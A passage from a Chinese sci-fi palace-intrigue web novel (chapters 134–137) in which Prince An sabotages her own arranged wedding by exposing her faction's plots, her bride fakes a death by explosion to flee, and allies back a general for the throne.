李极今日情绪高昂,无论曾倾洛说什么她都挂着开怀的笑意,从身后抱住曾倾洛,眷恋地不放开她,软软地蹭她的脖子。
曾倾洛被她蹭得好痒,撑着她的脑袋往后推。
李极也不生气,就着她的手往掌心里蹭。
曾倾洛:……
曾倾洛认真对李极道:“我就问你这一次了。你是否威胁了第五阙?还是说,威胁她的另有其人?”
曾倾洛记得李极腰侧的那一刀,当时她说——你救走了我重要的人质,若我完好无损,不好交差的。
曾倾洛反问李极需向谁交差。
李极贵为安王,居然还要自伤来向旁人交差?
之后她遇袭,李极赶来救她,两人双双跌进遗忘之脉的那回,让曾倾洛猜测或许睦州的势力也不完全在李极手中。
她可能也是被幕后之人裹挟。
在她身后,有让她忌惮的势力。
这次李极和第五阙的大婚莫名其妙。
要说是李极特意娶第五阙来气曾倾洛,曾倾洛觉得她即便再疯,也是个洒脱自由的性子,还……如此眷恋自己,除非是为人所迫,达成势力之间的利益交换和捆绑,不然未必会真的走上这条歪路。
李极正要开口,曾倾洛转眸凝视她,“认真说事儿,别耍小性子。”
李极被她这自己人的语气弄得心头发烫,抱着她的双臂再一次收紧。
琉璃窗上映着两个相依的女人,当真像今日要成亲的爱侣。
李极没有直接回答曾倾洛的问题。
她并不想曾倾洛知晓自己的难堪。
实际上,曾倾洛今日能来,已经让李极得到了莫大的满足,决定了一件事。
“你是真的很喜欢裴寂。”李极道。
曾倾洛看到署名“裴寂”的画被撕碎时的确很惋惜,她并不否认。
“杰出的艺术作品不该是这样的下场。”
“那让裴寂永远陪着你,好不好?”
曾倾洛不太懂李极那扭曲的思绪,总觉得她简简单单的一句话里包含了巨大的内情。
她在李极的眼眸里看到了不顾一切的亢奋。
一种马上就要把心里描绘无数遍的恐怖计划彻底实施的昂扬。
此刻,正在等待时机的还有第五阙。
第五阙耶娘和宗亲从睦州赶来,就怕她犯浑逃婚,日日夜夜守着她。
即便如此还被她跑了两次。
实在没辙,只好把她五花大绑,绑到大婚现场。
先前的挣扎是想要见到贺兰濯,可是跑了两回,寻遍了贺兰濯可能出现的地方都没能找到她。
连飞鸽传信都被贺兰濯拉黑了。
说不上心灰意冷,她相信贺兰濯对她说的每句好话,至于那些伤人的言语,都是迫不得已。
第五阙自小在庞大的宗族中长大,看多了口是心非,明白嘴就是用来说谎的。
她才不管贺兰濯说了什么,她只知道贺兰濯爱她爱得要命,现在见不到她,眼睁睁地看大婚将至,也不知该多着急。
第五阙要做的,就是结束这荒唐的一切,还不让安王府有找第五家族麻烦的借口。
一个完美的计划已经在第五阙的心中酝酿。
筵席上的贵客们完全想不到,今日在大婚现场,竟会经历毕生难忘的荒诞。
第135章
今日安王在西市大摆宴席,另一头大明宫内也由丞相主持,召开了一场极其重要的朝会。
主旨正是要确定新帝人选。
沈逆坐着轮椅抵达临时议政大殿德政殿时,看到眼前的场景,险些笑出声。
群臣为了谁能登基吵得面红耳赤,唾沫横飞。
为沈逆推轮椅的李司也“嚯”了一声。
“这哪儿是议政之地,比菜市口还热闹。”
沈逆听了一会儿,大部分都是李沐派系和李煽派系的,双方正争论不休。而李极派系的全去参加婚宴了,根本没来。
李煽派暂时占据优势,有理有据,毕竟她常居长安,还是最高研发署署长,更参与到城防工事之中,实打实的政绩不是一直深居封地又年轻的李沐可比的。况且现在李沐身染重病,也不知能不能康复,若是将她选上来,不到两年又驾崩,国体岂不是又将震荡?
李煽虽有政绩傍身,但李沐的支持者更为能言善辩,一直摁着李煽外祖的家世这点翻来覆去地诋毁。甚至直言先帝从头到尾都不喜永王,觉得永王难当大任。不然为何不直接嗣位于她,反而召集其他王爷进京,连广膳宫都不让李煽待着?含华殿事变那夜,金秋盛典预排时,诸王在场偏偏李煽不在,难道这还不足以说明先帝从未属意永王?说到身体状况不佳,恐怕永王和楚王是半斤八两。
李煽派继续反驳,说永王没在含华殿是因为她近日偶感风寒,先帝体恤没让她去,并不代表金秋盛典上就会嗣位于旁人。这么多年先帝与永王姐妹情深,无论内廷百官还是百姓都心知肚明,若是先帝还在,必然会支持永王为帝。
殿中自然也有李褚亲自派来的人,只是无论他们怎么插话,声量极小,无人在意。
当初李渃元未能留下遗诏,如今群臣各执一词,口若悬河,谁也不退让。即便是李褚一派也在死缠烂打,想要趁虚而入。
正吵得热闹,忽然有人唤了一声“靖安侯”。
众人回眸,这才发现靖安侯居然不知何时来了。
身后还站着李司——另一位储君之选。
原本在激烈争论的众人忽然噤声。
嗡嗡作响的大殿内转瞬落针可闻。
沈逆迎着一众老臣的复杂的目光,也没起身,就坐在轮椅上懒懒地行了个礼。
“下官重伤未愈,不便起身,失仪了,见谅。”
李渃元还在时,沈逆就是个连王爷都敢随意调侃、忽略的狂徒。
如今李渃元已死,又经历了边烬的离去,沈逆更是心灰意懒,懒得应承任何人。
若不是想要让边烬计划完满,她也没兴趣蹚这浑水。
无论是楚王派系还是永王派系,都怕沈逆发声。
沈逆自重伤以来,鲜少出现在众人面前。
没人希望她开口声援任何一位王爷,否则,以她现在的声威,必定会指引民心所向,极有可能决定帝位的归属。
此刻她与李司一同出现,只是简单见礼,大殿文武百官便感受到了前所未有的压迫感。
他们已然明白了沈逆的意思。
果不其然,沈逆悠然开口:“先帝刚崩,国丧之时为新帝人选争论不休,不知先帝在天之灵作何感想。但国不可一日无君,长安城经历巨变,城外更是天翻地覆,无数人都想进城避难,正需新的国策律法疏引。内廷怎么决策,京师如何运作,帝国其他百姓又当如何守卫,都需紧要谋划。”
沈逆也不指望谁来接自己的话,毕竟她出现在此,恐怕已经让一些人恨碎了后槽牙。
沈逆理解边烬所想。
李司能不借家族庇荫,凭一己之力爬上金吾将军的高位,足以见其谋略胆识。又难得的心系孤弱,除了出身,她的确是一位天选帝王之才。
如今她又勇闯含华殿,几乎救了大半个帝国天潢贵胄的性命,足以彪炳千古。
李司是边烬选出来的皇帝,是边烬留给帝国国泰民安的愿景。
那沈逆就帮她办成。
沈逆支持李司登基的缘由,一字字在德政殿内回荡。
李司感受到了无数双炽热的眼神。
老丞相双手负于身后,用那双浑浊却极能洞察人心的眼眸盯着李司,问她:“李将军,你觉得你能担此重任吗?”
这是一种蔑视与警告,更是要让她怯场的威胁。
李司心中一阵鼓噪。
来之前,沈逆就跟她说了今日的计划。
“我会推举你登帝。但一定会有人当场灭你威风。若你胆怯,一定会让那些老东西觉得你好欺负,回头便会更怠慢你。今日不可能一口气稳登帝位,但这是重要的第一步。就像戏中角色亮相,这首次露面得提起精气神,给老朽们一个下马威。使厉害的事儿应该难不倒我们李大将军吧?”
本来李司不紧张,被沈逆绘声绘色地形容了一番,反而有点儿忐忑。
毕竟她要做的不是逮个坏人,甚至不是指挥一场战役。
而是要争这帝国至高无上的帝位。
纵观历史,无数帝王黄袍加身后做的第一件事就是铲除异己。
成王败寇,一旦入局,若是失败,很有可能性命不保。
而且,就算真让她侥幸继天立极了,她将掌握着庞大帝国的命运,无数人的性命。
没受过任何储君教育的她,真的能当得好这个皇帝吗?
看出李司有些摇摆和顾虑,窦璇玑私下找了她一趟。
两人坐在侯府的茶斋内,望着高远清澈的天际。
窦璇玑为李司倒茶的时候说:“其实一开始我挺不喜欢你的,你那会儿像只凶狗,见人就咬。”
李司:“……我还以为你是来安慰我的。”
窦璇玑:“是啊,我是来安慰你的。拿去喝。”
一杯子怼李司面前。
李司无语地看她一眼。
到底谁凶啊,反正没你凶。
腹诽归腹诽,还是乖乖接过茶杯。
窦璇玑道:“虽然惹人烦,不过有件事儿给我印象挺深的。”
窦璇玑说的便是韩复用强力但会损伤身子的营养液为她续命,被李司看到的那件事。
“我记得你说——你可知道她今日凭借一己之力救了多少人?若不是她,金吾卫和东市的百姓能有几个幸免于难?你居然说她是弱者?”
窦璇玑模仿着李司贱兮兮的语调,抑扬顿挫地重复她的话。
“你还怼房判——这天大地大王法最大,王法都堵不住人嘴,莫非你们门主比王法还厉害?”
李司:“……谢谢你没提后面一句。”
“说我是可怜狗的那句么?”
李司有点不好意思地抓抓手背,“你怎么还翻旧账啊?要不你打我几拳解气?”
窦璇玑笑着摇头道:“其实,之后的两日,我梦到你了。”
李司本还在挠抓的手一下子握在一起。
“梦到你怜悯我的表情,柔和中带着些……我说不清的感觉。醒来的时候多少有点嫌弃,觉得自己精神状态出了问题,怎么会梦到你。”
窦璇玑笑了好几声,又道:
“但是,仔细想想,当时我是被你触动了。”
窦璇玑原本望向远方的目光,慢慢转向李司,凝视着她认真道:
“接触之后才发现你这般纯粹率真,光风霁月。若能登帝,必定是百姓之福。李司,你当相信你自己。”
李司从小到大,没被人这样真切直接地夸赞过。
原本忐忑的心情,被窦璇玑三言两语安抚稳妥。
面对老丞相的质问,李司微抬下巴,不卑不亢,字字玑珠。
“能。”
窦璇玑说她行,她就一定行.
长安城西市,安王大婚现场。
吉时都快过了,宾朋满座,等了半天都没能等到安王和第五氏的身影,议论声渐起。
人群中,曾倾洛藏在不易察觉的最角落,她也不知李极究竟要做什么。
向知番这几日都没睡好,一直在以“裴寂”之名四下扶贫济困,大婚的名单也需他一一过目。
想要笼络谁,挤兑谁,都得在今天之前全部部署完毕。
完成和第五氏嫡女的联姻后,他所打造的睦州集团将空前强大。
终于走到这一日了。
向知番闭了闭酸涩肿痛的眼睛。
两名侍女匆匆走到蔺咏铭和向知番身后,悄悄耳语。
蔺咏铭面色一沉,道:“这等重要的时刻又要作什么妖?我去叫她。”
刚要起身,却见李极从游廊那头翩然走来。
李极竟没有穿婚服,着一身稀疏平常的便服,遮面的团扇完全没有要遮住脸的意思,干脆拿在手中晃荡扇风。身后原本跟着为她拖捧裙摆的侍女也变成了持械的康逸和繁之。
几位向知番安排好控制李极的武卫都被挡在一旁。
毕竟是婚宴现场,当着皇亲国戚们的面不可能对安王动粗。
武卫们不知该如何是好,遥遥望向向知番。
向知番和蔺咏铭的脸色僵硬,有不妙的预感。
蔺咏铭紧捏着扶手的前端,“莫非,她想……”
向知番心不在焉地转动着扳指。
“不会。谋划了这么久,坚持了这么久,如今胜利在望,她怎么可能眼睁睁地看着自己这么多年的心血变成泡影?”
向知番知道李极是想当皇帝的,她对帝位本身有执念。
他更知道,李极一直对他和蔺咏铭有深深的敌意。
想待登基之后,借着天子的权势弹压,轻而易举取他们性命,所以她不会舍得放弃帝位。
更何况,谁能舍得放弃至高无上的皇位?
向知番早就知道李极的野心勃勃,也是在利用她想要挣脱束缚的心境,一直引诱着她和李渃元争。
他要的就是李极登上帝位。
待她登上帝位就会发现,他能迫使她成一次亲,就能再胁迫她做更多的事。
李极会是他掌握山河的最趁手的工具。
向知番盯着李极独自从喜庆的帷帐下穿过,站到众人面前。
她气定神闲的模样,让向知番转扳指的动作渐渐不安地停了下来。
李极深吸一口气,面上不显,其实掌心里已经发潮。
毕竟这是她命运的转折点。
忽然,在人群之中看到了曾倾洛。
即便曾倾洛藏得很隐蔽,还戴着面罩,李极依旧在人群中发现了她那双总是藏着心事的双眸。
曾倾洛没走,还在这儿等着她,陪着她。
一股热意在胸腔内涌动,她看见了从远方扑来的乌云和将起的狂风。
风吹散了鼻尖上细微的汗珠,李极的心潮澎湃,内心却是平湖般的宁静。
她往前迈了一步.
另一头,第五家这边的喜娘都看傻了眼。
之前约定好的流程是两位新人同时从游廊的两侧往中间的青庐去,在众宾朋面前拜天地。
怎么对方没有来传话,安王殿下先自己出来了?
喜娘赶紧跑回第五阙的房间,对着屋内嚷道:
“快些出来!安王殿下已经露面了!”
第五家这边的人惊讶地“啊”了好几声。
“怎么没通个气就自己去了?”
“阿阙!快些赶过去和殿下汇合!”
好好的青庐对拜成了急行军令。
第五阙本来就在找理由独处,能给她几息独处的时间就好,偏偏全程都有家人盯防,根本不给她机会。
正在绞尽脑汁时,安王居然一声不吭自己去拜天地了。
没时间犹豫,第五阙立刻捂着肚子说疼,走不了路。
喜娘和宗亲都在着急,第五阙偏偏在这个时候捂着肚子说想去净房。
第五阙阿娘哄着她道:“哎呀现在去什么净房,正是吉时,等拜完了天地再去不迟啊。”
第五阙:“我憋不住了。”
阿娘抱着她,晃着她,哄着她。
“哎哟我的心肝宝宝,忍一忍,很快过去了,总不能让人家安王等着你吧?”
第五阙整个人都要扭成麻花了。
“阿娘……人有三急,这事儿怎么能忍?难道阿娘想我在那么多人面前丢脸吧?以后还如何当安王妃?我真的难受,就一会儿,去去就回!”
第五阙阿娘耐心告罄,方才哄孩子的语气一转,指着她骂道:
“你这不安分的王八犊子,还在跟老娘扯谎!别以为老娘不知道你在打什么算盘!今儿个老娘把话撂这儿,你嫁也得嫁,不嫁也得嫁,由不得你!走!”
第五阙:……
忘了她阿娘也是个S级战斗天赋者,脾气暴得很。
从小和她阿娘切磋,从来没打赢过。
第五阙她娘掐住她的后颈,想直接把她拎去拜堂。
就在这时,从屋外传来一片惊讶声。
第五氏她们被那声音吸引,透过窗户张望,见李极站在搭着青庐的高台上,手里摇着扇子,微笑道:
“裴贵妃从小就跟我说,你那个皇姐心狠手辣,即便咱们逃到了睦州,依旧想让咱们娘俩死。后来,裴贵妃还真遭人下毒,一命呜呼,下毒的是我当时唯一信任之人,可笑的是,她竟真是天子的细作。”
众人皆惊,恨不能堵住耳朵。
这种皇室丑闻怎可在大庭广众之下说出口?
有人惶恐,有人兴奋,甚至有人开启了万维网的直播。
蔺咏铭难以置信地捂住嘴,向知番用力一拍椅子扶手,眼珠几乎暴出眼眶。
李极却还在轻摇着扇子,笑道:
“不过诸君且放宽心,我们安王府又怎会是任人拿捏的软柿子。诸君可还记得向知番向大总管?那位擅于弄权的老太监,当初追随我娘亲裴贵妃,一同前往了睦州。
“皇姐一心想我和我娘亲死,向总管也没少给我娘亲出谋划策,日思夜想如何才能取了天子的性命。这次进京便是他谋划多时夺位大计。为了顺利将我送上帝位,向总管殚精竭虑亲力亲为。南衙十二卫之中一半的统领亲眷都落入他手中,威逼利诱可是向总管最擅长的手段,如今禁军恐怕都得听他老人家的号令。”
李极的话让众人瞠目结舌,满场哗然。
争权夺位的心思和手段众人心知肚明,从未有人摆在明面上说过。
连各王派系支持者都未曾直言,何况是安王本人。
无数诧异、不解和焦虑的目光从李极身上转投向知番。
向知番一把抓碎了扶手,尖锐的目光扎向李极。
你有没有考虑过后果?
这样一来,你也会失去一切!
看到向知番双眼血红,蔺咏铭方寸大乱,李极迎着风,长发凌乱地飞舞,笑得开怀。
打碎了向知番毕生的心血,踹开她心中的樊笼,这份畅快前所未有。
裴贵妃想当皇帝,你自己从棺材里爬出来当。
向知番想当皇帝,现在便去投胎重新生过。
谁管你们谁的希望谁的遗志谁毕生的追求。
与我无关,统统滚蛋。
她甚至忘记看向人群中的曾倾洛,一心沉醉在这份让她战栗的喜悦中。
但此时此刻,曾倾洛正在看她。
曾倾洛仰望着乌云之下肆意张扬的李极,想到了第一次见面时惊鸿一瞥。
天地皆暗,浮光掠影间,唯有她最动人……
向知番汹涌的精神力隔空扑向李极,试图控制她的精神世界。
李极早就对他有所防备,拔起所有的精神力对抗。
大脑一阵剧痛,她知道自己抵挡不了多久,不过只要将那段记忆投放出来,向知番想操控她登基的美梦将彻底破碎。
她和帝国女帝秦无商见面的证据。
只要把这段记忆模块中的视频当众播放,她便会成为“卖国贼”。
往后无论向知番再怎么努力,一个卖国贼是不可能登基的。
李极拽着青庐垂落的喜帐,摇摇欲坠。
“还有一件事,我想大家可能更感兴趣。那就是关于我和……”
还有?
就在众人翘首期待的时候,忽然从另一侧传来巨大的爆炸声。
向知番的精神力被那爆破声影响,瞬间失控。
那爆炸来自第五阙的房间。
第五氏众人方才也被李极那石破天惊的发言吓得肺腑皆崩,完全没留意第五阙趁机钻进了净房。
此刻第五阙二姐满身灰土从净房的方向跑来,一下子扑到她娘怀中,哭道:“阿阙她——自爆身亡了!”
第五氏所有人:??
第136章
浓烟冲天,筵席乱作一团。
待向知番回过神,想要再控制李极时,李极早已消失无踪。
李极在康逸和繁之等人的护送下离开了婚宴,驾车在长安城中转了好几圈,总算摆脱了向知番下属的尾随。
康逸问李极:“殿下,下一步该何去何从?”
李极手中还摇着团扇,慢悠悠地遮住下半脸,双眼藏情。
“去靖安侯府。”
方才筵席大乱找不到曾倾洛,不过不要紧,无论如何她肯定会回侯府,直接去侯府找人便是。
康逸和繁之相看一眼,都没做声。
砸了自己的大婚,还把多年的谋划拆得一干二净,此刻的安王殿下却一扫先前的阴郁,整个人变得明快了。
虽不知前路,但作为下属也只能守卫她到底。
到了靖安侯府门前,李极一下车,便见迎面也来了一辆马车,还是靖安侯府的。
第五阙从那马车中一跃而下。
险些成为双妻的二人目光立刻撞到一块儿。
第五阙心里一咯噔,这安王怎么还追到这儿来了?糟了,被她看到自己还没死,完美的计划岂不是败露了吗?不是吧,这婚就这么非结不可?既然如此她也不客气了,李极不就是个C级精神天赋者,一不做二不休,杀了算了。
李极团扇遮脸美眸微觑,这傻子不是自爆死了吗?竟是假死逃婚……前后联系起来一寻思,李极在心里翻了个白眼,当真服了这傻子,早知道傻子要逃,她还何必自毁名节演那么一大出热闹?真想把这傻子宰了。
两人目光在空中交恶,杀意噼啪作响时,曾倾洛跟着第五阙也自马车中下来,一抬头便瞧见两人正横眉怒目。
李极:?
曾倾洛问李极:“你怎么在这儿?”
李极指着第五阙:“她怎么在这儿?”
第五阙:“我怎么不能在这?”
方才在婚宴之上,第五阙房间里惊天的爆炸吸引曾倾洛寻过去,正好发现了从三楼净房狼狈逃出来的第五阙。
“小倾洛!你是来救我的么!我……呸呸呸!咳咳咳咳……”
第五阙一说话吸了一大口灰土和烟尘,连带着碎渣子都冲入口中,咳得几不欲生。
曾倾洛见她这样便知爆炸是假,借机逃脱是真。
不过……看着漫天的烟土和四下逃遁的人群,曾倾洛一时无言。
动静是不是太大了点?
“第五姐姐别说话了,随我上马车,速速离开此地!”
第五阙被曾倾洛拉着,跌跌撞撞上了侯府的马车。
马车车厢一关,第五阙总算能喘口气,开心道:“计划成功,完美逃脱!”
一旁的曾倾洛没吱声。
也没好意思问,若我今日没来,你这完美计划该从哪个方向逃脱?
第五阙抹了一把脸,“多谢小倾洛,带我去找你小师姐吧,现在也就只有靖安侯府敢收留我了。
与此同时,另一头的李极也逃出了婚宴现场。
两路人马从相同的地点出发,分道扬镳,在长安城内转了一圈,最后还是在靖安侯府门口迎头撞上。
方才李极还在美滋滋地想象,往后她和曾倾洛之间再无阻碍。
没想到此刻那倒霉的第五阙就阻碍在她们之间。
眼睁睁地看见曾倾洛自第五阙同一辆马车里出来,很难不想起曾倾洛曾经暗暗喜欢过这傻子的事。
所以曾倾洛今日来还真是找第五阙来了。
一开始就不是嘴硬,是她李极自作多情。
李极暗嗤,“就说怎么转眼找不到人了,还以为人太多不小心走散,原来是去找你的第五姐姐了。”
第五阙:?
听前半句以为跟她说话呢,怎么后半句急转直下,改成和小倾洛对话了?
站在她身后的曾倾洛道:“现在不是使性子的时候。”
李极:“那得看有没有人哄我了。”
第五阙:??
原本以为遇上李极免不了一场打骂,谁能想到最后成了打情骂俏?
已经准备好挠人的第五阙,这会儿不解地挠自己头。
双方僵持在侯府门口的时候,听到后方传来沈逆不解的声音:
“你们堵在人家家门口做什么?”.
此刻,一片狼藉的安王婚宴现场。
第五阙阿娘拎着第五阙二姐的后脖子,像过年杀鸡一样把她拎起来,目露凶光问道:
“阿阙到底去哪儿了!”
二姐缩着肩膀,指着地上被炸成碎片的婚服和一滩不知从何而来的血迹道:
“阿阙不就在这儿么?”
“还跟老娘嘴硬是吧?凌儿!”
收到主母的命令,侍女凌儿沾了些血迹,入口,系统迅速分析。
凌儿:“是鸡血。”
二姐嫌弃道:“凌儿,你这嘴是渣斗么?什么都往里送。”
阿娘手里的劲儿又使大了几分,痛得二姐吱哇乱叫。
“有空担心凌儿不如担心担心你自己!”
二姐哭丧着脸道:“这事跟我有啥关系啊!不能阿阙没了你就拿我撒气啊!”
“我都懒得说你们,你和阿阙自小狼狈为奸干了多少坏事儿我可都看在眼里。当你阿娘和你们一样是傻子吗?还自爆,身亡?阿阙到底死哪去了,不想屁股开花赶紧说!”
二姐委屈。
我就一个报信的,怎么就成我屁股开花了?
也顾不上会不会被蹭掉一层皮了,二姐用力一挣脱,从三楼窗户一跃而出。
溜了溜了。
阿娘指着二女儿抱头鼠窜的背影大骂。
“有本事你永远别回来!”
凌儿问:“主母,动气伤身。”
阿娘双手叉腰,骂得有些晕,喝口茶歇会儿。
透过窗口往青庐的方向瞧去,哪还能见着青庐的影子,雨打梨花乱糟糟。
阿娘揉了揉隐隐作痛的颞颥道:“安王此番任性妄为,算是名声尽毁,断了她登帝之路。我们第五氏是不可再与安王府联姻了。”
凌儿:“那六娘子不就白死了么?”
阿娘冷笑道:“多大人了,做事还这般不计后果,就让她白死着,当她胡乱行事的惩罚!”
此刻的第五阙已经入了侯府,正在为自己完美的假死计划沾沾自喜,和沈逆说得口若悬河。
沈逆听完嘴角抽了抽,行吧,她这条命现在还留着就行。
现下她俩单独在房内,第五阙好奇问沈逆:
“我怎么觉得李极好像喜欢小倾洛。”
“是么,你怎么发现的?”
沈逆原本想说的是——是么,你怎么才发现?
想起来第五阙便是一阵恶寒。
“那个疯女人居然对着小倾洛撒娇!”
沈逆心想,那你是没见到李极真的发疯时什么样。
第五阙:“我怎么觉得你一点都不惊讶呢?”
沈逆:“不啊,我惊讶得很。”
对于第五阙反应迟钝惊讶得很。
第五阙八卦了一会儿,念及李极撒娇还有个能撒娇的对象,她呢?
想起消失多时的贺兰濯,第五阙开始唉声叹气,说了几句便眼泪涟涟。
第五阙拽着沈逆的手,一双眼睛红红的。
“你我都是被抛弃的可怜人,如今在一块儿作伴,也能缓解些苦楚。”
沈逆被她说得眼皮乱跳一阵。
本能地想反驳“我才没被抛弃”,可话到嘴边又反驳无能。
第五阙哭,沈逆给递纸,听她说她和她家绝情的贺姐姐让人肝肠寸断的二三事。
沈逆支着脑袋问她:“所以,即便你和李极差点成婚,你的贺姐姐都没有出现么?那的确够绝情的。”
第五阙反驳道:“她肯定是怕出现了被我发现,会教我左右为难这才没来。她才不是真的绝情!”
沈逆:?
不是你说她绝情?怎么我顺着你话说还反驳我?
沈逆按捺住想踹第五阙的心,拍拍她的脑袋:
“行行行,你的贺姐姐最爱你了。那阿阙,现下你已经死了,有想过往后要如何行事么?”
第五阙:“还没想过,先死再说。”
沈逆:“果然。”
第五阙双手托起脑袋,想着想着,脸上升起一抹狡黠。
“逆逆,要不然你帮我换张脸吧,伪造身份你是不是也挺拿手的?这样一来我就能变成另外一个人重新生活了。”
沈逆:“你还真是想一出是一出。”
第五阙摸摸自己的脸蛋,惋惜道:“就是不知道换了脸贺姐姐会不会不高兴,毕竟她最喜欢我这张脸了。”
沈逆呕了一声。
第五阙:“你嫌弃我!”
“嗯,我嫌弃你。”
第五阙:……
嫌弃完第五阙,又觉得第五阙怪可爱的。
“先别这么冲动换脸,你觉得你自导自演这场惊天动地的自爆,大家会信吗?”
第五阙:“要是你,你会信吗?”
沈逆:“都轮不着说我信不信的,你人都囫囵逃到这儿了,现场能留下点什么让人相信你已经身亡的证据?”
“我的婚裙,还有一地鸡血。”
“……如果你家人全都和你一样,那倒是有可能蒙混过关。”
“逆逆,你怎么嫌弃完我又骂我?”
沈逆捂着伤处乐得不行。
“现在也就你能逗我开心了。”
“我这是逗你么!你知道我在我那心眼儿比你还多的阿娘眼皮子底下藏颗炸弹有多不容易吗?只有净房一处儿地方供我发挥,还得好好拿捏分寸,炸不好得溅我一身屎!姓李的早说她要作这么大的妖啊,我何必费心思?现在好了,所有人都知道我死在净房了。我都不敢想第五家的族谱上怎么写我的死因!我一世英名全砸姓李的手里了!”
沈逆拍拍她的肩膀说:“放心吧。”
第五阙等着沈逆安慰她。
结果沈逆说:“你哪有什么一世英名。”
第五阙:“逆逆你?”
沈逆笑得伤口都快裂了,缓了好半天才接着说:
“你这段时日就在我这儿待着,别再鲁莽,先听听外面的动向再做打算。”
沈逆一边陪着第五阙说话,一边也收到了不少消息。
今日最热闹的自然是安王婚宴之上所上演的闹剧。
沈逆溜过一眼万维网上的直播,李极居然能舍得把睦州派系这些年所作所为全数揭发,等于是把自己也埋进去了,这可真是出乎沈逆意料的大戏。
看来这次李极和向知番是彻底撕破了脸。
睦州派系这回遇上大麻烦了。
如此一来,李司登基的可能性大增.
靖安侯府外,兴化坊角落。
李极的马车停于隐蔽之地,康逸等武卫站在马车之下警惕四望。
马车内,李极双手撑在曾倾洛的身侧,反复品尝着她的软唇。
曾倾洛几次想说话都被她打断,最后只能捂住她的嘴,暗暗喘着气,皱着眉把她往后推:
“李极……你来找我就是做这些事?”
李极想到曾倾洛是为了第五阙而去的婚宴,事发时完全没管她,第一时间去找了第五阙,还与那暗恋之人同乘一辆马车,李极心口便想被泥石堵着,难受得很。
“你都听到我在婚宴上说的话了,从今往后没有李极,只有裴寂。你不是喜欢裴寂么,就不能只喜欢裴寂,心里不再惦记旁人?”
李极的声音从曾倾洛的掌心里透出来,语气里带着控诉,仿佛曾倾洛就是狠心的负心人。
曾倾洛被她这霸道的发言弄得哭笑不得。
“都是你自说自话,我可从未应允过你什么。”
此番话在李极听来与她划清界限,甚至默认还喜欢第五阙没什么区别。
李极眼睛说红就红,“曾倾洛!你……气死我便开心了?”
曾倾洛多少有点习惯她这说风就是雨的性子,袖子都要被她扯破。
又念起李极在大庭广众之下把睦州集团所作所为抖落干净的场面,那一刻当真光芒万丈。
和眼前被她一句话就惹恼惹哭的不似同一人。
曾倾洛心中有些道不清的情绪,也没再和李极针锋相对。
“现在莫说这些不相干之事。你可有筹谋往后?砸烂了向知番的全盘计划,他恐怕不会轻易放过你。”
曾倾洛语气平淡,但李极能从中听出她的担忧。
李极又开心了,握着曾倾洛的手,贴在自己的脸颊上,舒服地蹭着。
“是啊,他会找我麻烦,所以你得把我藏起来。”
李极怎么看都看不出有任何危机感,反而有点乐在其中。
也是意外的好哄。
好哄到曾倾洛根本没哄,她就自个儿把自己哄好了。
曾倾洛能理解,李极迈出的这一步十分不易,往后路不好走。
其他暂不多想,为她找个地方吧,就当行善积德,为长安城扫除一个祸害。
曾倾洛懒得收回手,就让李极蹭着。
“肯定不能把你藏在侯府连累我小师姐。”
李极:……
行,曾经的暗恋对象之上还有小师姐,不知小师姐上面还有谁。
排在她前面的人可真多。
“不过,我对闹市之中藏人还是有些心得。你若放心便随我来。”
曾倾洛的话让李极想到挟持的那回,便是将她藏在闹市陋屋之中,好一番折磨。
当时气得要命,如今想起,别有滋味。
“那你会陪着我吗?”
李极的手掌很冷,薄薄的一层。
曾倾洛想直接拒绝,话到嘴边,犹豫间成了“再说”。
第137章
沈逆让第五阙自己先哭会儿,她去找李司。
李司和窦璇玑此刻正在前厅,摆了一桌的下酒菜,点开万维网上的李极那段足以载入史册的发言后,箸提在手中半天忘了夹菜。
李司时常觉得自己不够疯,显得和李家嫡系格格不入。
沈逆坐着电动轮椅从游廊那头过来,结果被门槛挡住。
沈逆:……
只好起身,用自己这双好久没动弹的双腿跨过门槛,把轮椅搬进来后再懒洋洋地坐上去,一路开到李司和窦璇玑身边。
就着菜,三人浅析安王此举的影响。
恐怕李极已经无意争夺帝位,李司现下最大的对手是李沐和李煽。
沈逆:“说句不好听的,她俩恐怕都活不长了。”
李司和窦璇玑沉默着。
还真是挺不好听的。
沈逆问李司:“最近找你的人是不是特别多?”
李司道:“岂止是多,和你一块儿在德政殿露面后,我信箱差点炸了,无数拜帖和邀请函蜂拥而至,眼睛都要看花了。”
沈逆抓了一把油炸地豆,吃了一颗,没什么胃口。
说不上有什么变化,就是没以前好吃了。
沈逆兴意阑珊道:“该见的人还是得见,将军得好好筛选一番。最近一些局恐怕是躲不过了。还需要联络一批可信任之人,组建属于自己的班底。”
和沈逆相比,李司肉眼可见意气风发。
在靖安侯府待了这些日子,李司的确落下很多事儿。
知道第五阙来了,那位可是S级战斗天赋,有她伴着沈逆,李司能安心去忙活。
沈逆道:“我没事儿,你现在正是要活跃的时候,别担心我。”
李司想说什么,欲言又止。
沈逆琢磨着她的表情,试探问道:“她在离开前,单独找过你吧。”
不难猜,含华殿事变时,李司能在那么短的时间里率领所有金吾卫及时赶到解救众王群臣,夺了个大功绩,一定是提前准备好的。
边师姐曾经暗示过李司能堪大任。离开之前若点拨了李司,告知她起事的时辰,也很合理。
事情已经办完,没什么好再隐瞒了,李司把当时的情况跟沈逆说了。
“那时边女郎让我保密,不可跟任何人说。”
沈逆点点头,理解。
“她一定对你寄予厚望。将军,帝国往后便靠你了。”
李司被她说得心里咚咚地跳,感觉有臭狐狸这句话,自己已然站在了历史的中轴。
“对了。”李司忙了几日差点忘了,“我把含华殿那具奇怪枯尸的记忆模块复制下来了,正在恢复数据,应该很快就会有结果。就是不知那枯尸的记忆有没有价值。”
沈逆被她说得一怔。
当时沈逆受伤又被麻醉,思绪混乱,但还残存着一点点稀薄的记忆。
即便连这稀薄的记忆都没有,也可以推理出来,李司所谓的枯尸就是真正的李渃元。
李司听完沈逆的话倒吸一口凉气。
“什么,真正的李渃……”
说到一半没敢说下去,忍不住往门口的方向看,生怕这么要紧的机密被旁人听了去。
沈逆脸上漾过许久未有的兴奋。
“看来李渃元藏了这么多年的秘密终于要水落石出了。”
李司当初复制人家记忆模块的时候还很忐忑,觉得自己这么做太没品,损阴德。
没想到……
李司道:“那这么说起来,李,咳咳,她的尸首还在我那儿收着呢。”
旁人只道那被踏碎的小魔种身体是先帝遗骨,早就小心翼翼地敛了尸,正在筹备国丧。
没想到真正的龙体在李司那儿。
沈逆问:“收哪儿了?”
“金吾卫的库房。”
沈逆:……
“把先帝遗体放库房的,李将军也是前无古人了。”
李司只觉得浑身恶寒,忍不住对着天际拜了拜。
莫怪莫怪,这就回去把您老人家好好安置。
这么一顺,李司有更多事儿要处理。
窦璇玑也需要回一趟丽景门,门主不知去向,现下丽景门也不晓得是何光景。
